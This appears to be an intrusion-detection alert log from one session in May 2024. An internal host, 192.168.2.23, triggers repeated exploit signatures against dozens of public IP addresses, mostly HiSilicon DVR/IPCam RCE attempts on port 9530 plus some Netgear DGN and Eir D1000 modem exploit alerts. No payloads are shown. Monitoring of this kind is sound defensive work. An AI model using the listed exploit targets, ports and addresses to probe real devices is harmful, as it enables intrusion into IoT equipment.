ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 115.173.218.28

Timestamp:	05/16/24-16:38:50.046363
SID:	2030487
Source Port:	53364
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 19.131.162.57

Timestamp:	05/16/24-16:39:08.148313
SID:	2030487
Source Port:	39484
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 200.82.229.75

Timestamp:	05/16/24-16:38:59.584403
SID:	2030487
Source Port:	41068
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 200.82.229.75

Timestamp:	05/16/24-16:38:59.584403
SID:	2030488
Source Port:	41068
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 67.217.73.178

Timestamp:	05/16/24-16:39:05.707681
SID:	2030487
Source Port:	60456
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Code Execution - Source IP: 192.168.2.23 - Destination IP: 83.124.111.176

Timestamp:	05/16/24-16:39:01.473860
SID:	2034576
Source Port:	59392
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 77.203.205.121

Timestamp:	05/16/24-16:39:12.408338
SID:	2030487
Source Port:	33762
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 77.203.205.121

Timestamp:	05/16/24-16:39:12.408338
SID:	2030488
Source Port:	33762
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 67.217.73.178

Timestamp:	05/16/24-16:39:05.707681
SID:	2030488
Source Port:	60456
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 193.238.182.229

Timestamp:	05/16/24-16:38:55.206810
SID:	2030487
Source Port:	56274
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 193.238.182.229

Timestamp:	05/16/24-16:38:55.206810
SID:	2030488
Source Port:	56274
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 221.168.123.11

Timestamp:	05/16/24-16:39:14.527605
SID:	2030488
Source Port:	59980
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 221.168.123.11

Timestamp:	05/16/24-16:39:14.527605
SID:	2030487
Source Port:	59980
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 130.10.35.82

Timestamp:	05/16/24-16:39:02.745280
SID:	2030487
Source Port:	49538
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 186.8.175.66

Timestamp:	05/16/24-16:39:05.676965
SID:	2030488
Source Port:	45034
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 46.18.138.113

Timestamp:	05/16/24-16:38:59.519306
SID:	2030488
Source Port:	49978
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 130.10.35.82

Timestamp:	05/16/24-16:39:02.745280
SID:	2030488
Source Port:	49538
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 46.18.138.113

Timestamp:	05/16/24-16:38:59.519306
SID:	2030487
Source Port:	49978
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 154.52.99.1

Timestamp:	05/16/24-16:39:05.693235
SID:	2030488
Source Port:	47476
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 93.115.218.61

Timestamp:	05/16/24-16:38:55.208969
SID:	2030488
Source Port:	33388
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 93.115.218.61

Timestamp:	05/16/24-16:38:55.208969
SID:	2030487
Source Port:	33388
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 32.140.88.133

Timestamp:	05/16/24-16:39:05.676308
SID:	2030488
Source Port:	56492
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 32.140.88.133

Timestamp:	05/16/24-16:39:05.676308
SID:	2030487
Source Port:	56492
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 154.52.99.1

Timestamp:	05/16/24-16:39:05.693235
SID:	2030487
Source Port:	47476
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 150.60.232.20

Timestamp:	05/16/24-16:38:59.519394
SID:	2030488
Source Port:	39540
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 150.60.232.20

Timestamp:	05/16/24-16:38:59.519394
SID:	2030487
Source Port:	39540
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 161.236.210.189

Timestamp:	05/16/24-16:39:12.384470
SID:	2030488
Source Port:	44604
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 179.1.52.150

Timestamp:	05/16/24-16:38:50.063941
SID:	2030487
Source Port:	52926
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 179.1.52.150

Timestamp:	05/16/24-16:38:50.063941
SID:	2030488
Source Port:	52926
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 100.136.175.40

Timestamp:	05/16/24-16:38:59.557652
SID:	2030488
Source Port:	49748
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 161.236.210.189

Timestamp:	05/16/24-16:39:12.384470
SID:	2030487
Source Port:	44604
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 100.136.175.40

Timestamp:	05/16/24-16:38:59.557652
SID:	2030487
Source Port:	49748
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 24.42.15.133

Timestamp:	05/16/24-16:39:03.263647
SID:	2030487
Source Port:	44666
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 24.42.15.133

Timestamp:	05/16/24-16:39:03.263647
SID:	2030488
Source Port:	44666
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 186.8.175.66

Timestamp:	05/16/24-16:39:05.676965
SID:	2030487
Source Port:	45034
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 121.138.11.248

Timestamp:	05/16/24-16:38:57.304805
SID:	2030488
Source Port:	41962
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 121.138.11.248

Timestamp:	05/16/24-16:38:57.304805
SID:	2030487
Source Port:	41962
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Code Execution - Source IP: 192.168.2.23 - Destination IP: 57.149.215.70

Timestamp:	05/16/24-16:39:09.591889
SID:	2034576
Source Port:	46886
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 210.71.101.252

Timestamp:	05/16/24-16:38:50.080371
SID:	2030488
Source Port:	35508
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 210.71.101.252

Timestamp:	05/16/24-16:38:50.080371
SID:	2030487
Source Port:	35508
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 139.190.33.62

Timestamp:	05/16/24-16:38:50.065042
SID:	2030487
Source Port:	56460
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 203.171.95.124

Timestamp:	05/16/24-16:39:02.726983
SID:	2030488
Source Port:	60452
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 82.118.210.59

Timestamp:	05/16/24-16:39:16.611192
SID:	2030487
Source Port:	45064
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 203.171.95.124

Timestamp:	05/16/24-16:39:02.726983
SID:	2030487
Source Port:	60452
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 82.118.210.59

Timestamp:	05/16/24-16:39:16.611192
SID:	2030488
Source Port:	45064
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 20.249.196.57

Timestamp:	05/16/24-16:38:50.068396
SID:	2030488
Source Port:	55066
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 20.249.196.57

Timestamp:	05/16/24-16:38:50.068396
SID:	2030487
Source Port:	55066
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 139.190.33.62

Timestamp:	05/16/24-16:38:50.065042
SID:	2030488
Source Port:	56460
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 98.216.171.25

Timestamp:	05/16/24-16:39:12.406017
SID:	2030487
Source Port:	49112
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 98.216.171.25

Timestamp:	05/16/24-16:39:12.406017
SID:	2030488
Source Port:	49112
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 42.53.137.183

Timestamp:	05/16/24-16:39:14.493635
SID:	2030488
Source Port:	54554
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 42.53.137.183

Timestamp:	05/16/24-16:39:14.493635
SID:	2030487
Source Port:	54554
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 136.158.168.87

Timestamp:	05/16/24-16:39:14.491214
SID:	2030487
Source Port:	40450
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 136.158.168.87

Timestamp:	05/16/24-16:39:14.491214
SID:	2030488
Source Port:	40450
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 73.188.110.99

Timestamp:	05/16/24-16:38:57.431434
SID:	2030488
Source Port:	58588
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 167.26.29.172

Timestamp:	05/16/24-16:39:08.125392
SID:	2030487
Source Port:	40764
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 73.188.110.99

Timestamp:	05/16/24-16:38:57.431434
SID:	2030487
Source Port:	58588
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 167.26.29.172

Timestamp:	05/16/24-16:39:08.125392
SID:	2030488
Source Port:	40764
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 186.18.201.192

Timestamp:	05/16/24-16:38:50.065115
SID:	2030487
Source Port:	50644
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 49.71.239.242

Timestamp:	05/16/24-16:38:50.063964
SID:	2030487
Source Port:	44832
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 49.71.239.242

Timestamp:	05/16/24-16:38:50.063964
SID:	2030488
Source Port:	44832
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 197.112.59.204

Timestamp:	05/16/24-16:38:53.069510
SID:	2030488
Source Port:	40494
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 23.162.141.48

Timestamp:	05/16/24-16:38:55.227481
SID:	2030487
Source Port:	52586
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 188.231.148.232

Timestamp:	05/16/24-16:38:57.441181
SID:	2030487
Source Port:	37330
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 188.231.148.232

Timestamp:	05/16/24-16:38:57.441181
SID:	2030488
Source Port:	37330
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 186.18.201.192

Timestamp:	05/16/24-16:38:50.065115
SID:	2030488
Source Port:	50644
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 197.112.59.204

Timestamp:	05/16/24-16:38:53.069510
SID:	2030487
Source Port:	40494
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 93.26.100.106

Timestamp:	05/16/24-16:39:12.380554
SID:	2030487
Source Port:	54110
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 93.26.100.106

Timestamp:	05/16/24-16:39:12.380554
SID:	2030488
Source Port:	54110
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 43.177.61.164

Timestamp:	05/16/24-16:39:14.518997
SID:	2030488
Source Port:	36182
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 43.177.61.164

Timestamp:	05/16/24-16:39:14.518997
SID:	2030487
Source Port:	36182
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 27.193.96.114

Timestamp:	05/16/24-16:38:54.131039
SID:	2023548
Source Port:	33824
Destination Port:	5555
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 23.162.141.48

Timestamp:	05/16/24-16:38:55.227481
SID:	2030488
Source Port:	52586
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Command Execution - Source IP: 192.168.2.23 - Destination IP: 63.26.144.6

Timestamp:	05/16/24-16:38:53.398642
SID:	2024916
Source Port:	33974
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Information Leak

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 115.170.244.187

Timestamp:	05/16/24-16:39:14.520195
SID:	2030487
Source Port:	52438
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 115.170.244.187

Timestamp:	05/16/24-16:39:14.520195
SID:	2030488
Source Port:	52438
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 174.119.199.208

Timestamp:	05/16/24-16:38:55.176136
SID:	2030487
Source Port:	33450
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 174.119.199.208

Timestamp:	05/16/24-16:38:55.176136
SID:	2030488
Source Port:	33450
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 144.22.69.165

Timestamp:	05/16/24-16:39:03.263562
SID:	2030487
Source Port:	52858
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 108.53.113.101

Timestamp:	05/16/24-16:39:02.726990
SID:	2030488
Source Port:	47032
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 99.144.240.15

Timestamp:	05/16/24-16:39:05.677776
SID:	2030488
Source Port:	55106
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 99.144.240.15

Timestamp:	05/16/24-16:39:05.677776
SID:	2030487
Source Port:	55106
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 206.66.119.64

Timestamp:	05/16/24-16:39:16.609820
SID:	2030488
Source Port:	41960
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 108.53.113.101

Timestamp:	05/16/24-16:39:02.726990
SID:	2030487
Source Port:	47032
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 206.66.119.64

Timestamp:	05/16/24-16:39:16.609820
SID:	2030487
Source Port:	41960
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 144.22.69.165

Timestamp:	05/16/24-16:39:03.263562
SID:	2030488
Source Port:	52858
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 132.206.237.101

Timestamp:	05/16/24-16:39:02.745320
SID:	2030488
Source Port:	42184
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 132.206.237.101

Timestamp:	05/16/24-16:39:02.745320
SID:	2030487
Source Port:	42184
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 132.240.0.86

Timestamp:	05/16/24-16:38:55.175004
SID:	2030488
Source Port:	58082
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 132.240.0.86

Timestamp:	05/16/24-16:38:55.175004
SID:	2030487
Source Port:	58082
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 38.161.200.33

Timestamp:	05/16/24-16:39:03.281199
SID:	2030487
Source Port:	57628
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 38.161.200.33

Timestamp:	05/16/24-16:39:03.281199
SID:	2030488
Source Port:	57628
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 114.115.143.171

Timestamp:	05/16/24-16:39:12.406718
SID:	2030487
Source Port:	46222
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 114.115.143.171

Timestamp:	05/16/24-16:39:12.406718
SID:	2030488
Source Port:	46222
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 147.232.253.202

Timestamp:	05/16/24-16:39:14.491153
SID:	2030488
Source Port:	59404
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 147.232.253.202

Timestamp:	05/16/24-16:39:14.491153
SID:	2030487
Source Port:	59404
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 79.227.240.60

Timestamp:	05/16/24-16:39:12.408332
SID:	2030487
Source Port:	43232
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 79.227.240.60

Timestamp:	05/16/24-16:39:12.408332
SID:	2030488
Source Port:	43232
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 223.243.2.35

Timestamp:	05/16/24-16:39:14.529714
SID:	2030487
Source Port:	34848
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

